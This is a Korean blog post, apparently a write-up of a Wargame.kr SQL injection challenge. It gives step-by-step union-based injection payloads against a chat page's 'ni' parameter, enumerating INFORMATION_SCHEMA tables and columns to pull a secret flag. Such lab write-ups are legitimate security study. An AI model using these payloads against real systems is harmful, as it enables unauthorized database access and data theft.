간단한 SQL Injection을 통한 문제이고, 트래픽을 줄이기 위해서 개발자 관점에서 봐달라고 써져있다.
들어가면 ID란에 입력 후 채팅창으로 들어갈 수 있는데 sqli문제라면 입력란에 공격을 해보게 되는데 이부분에서 해당이 안되었다.
들어가면 채팅창을 입력할 수 있게되었는데, 입력하다보니 도움이 될 지 모르겠지만 #을 null값으로 필터링 한다는 힌트를 얻을 수 있었다.
또한 개발자 관점에서 봐달라는 힌트를 통해 개발자 도구(F12)를 통해 확인해 보니 chatview.php?t=1&ni=[채팅번호]를 통해서 내가 입력한 data 값이 화면에 출력되는 듯 하여 ni파라미터를 조작하여 값을 출력 할 수 있을꺼 같다는 생각이 들었다.
chatview.php?t=1&ni=[채팅번호] or 1을 입력하게 되면 모든 대화 내용들을 볼 수 있었다.
chatview.php?t=1&ni=[채팅번호] UNION SELECT 1,2,3,4,5-- 를 입력하여 컬럼 수 가 5개인 것을 확인하고
chatview.php?t=1&ni=[채팅번호] UNION SELECT 1,TABLE_NAME,3,4,5 FROM INFORMATION_SCHEMA.TABLES--를 입력해서 테이블 이름 중 chat_log_secret을 확인할 수 있었다.
chatview.php?t=1&ni=[채팅번호] UNION SELECT 1,COLUMN_NAME,3,4,5 FROM INFORMATION_SCHEMA.COMLUMNS-- 를 통해서 컬럼명 중 readme를 확인 할 수 있었다.
두개를 조합하여 chatview.php?t=1&ni=[채팅번호] UNION SELECT 1,readme,3,4,5 FROM chat_log_secret--를 입력하게 되면 위와 같이 flag 값을 얻을 수 있을 것이다.
참조
https://webstone.tistory.com/25
'워게임 > Wargame.kr' 카테고리의 다른 글
Wargame - dmbs335 (0) | 2021.10.03 |
---|---|
Wargame - SimpleBoard (0) | 2021.09.26 |
Wargame - type confusion (0) | 2021.09.19 |
Wargame - tmitter (0) | 2021.09.19 |
Wargame - pyc decompile (0) | 2021.07.05 |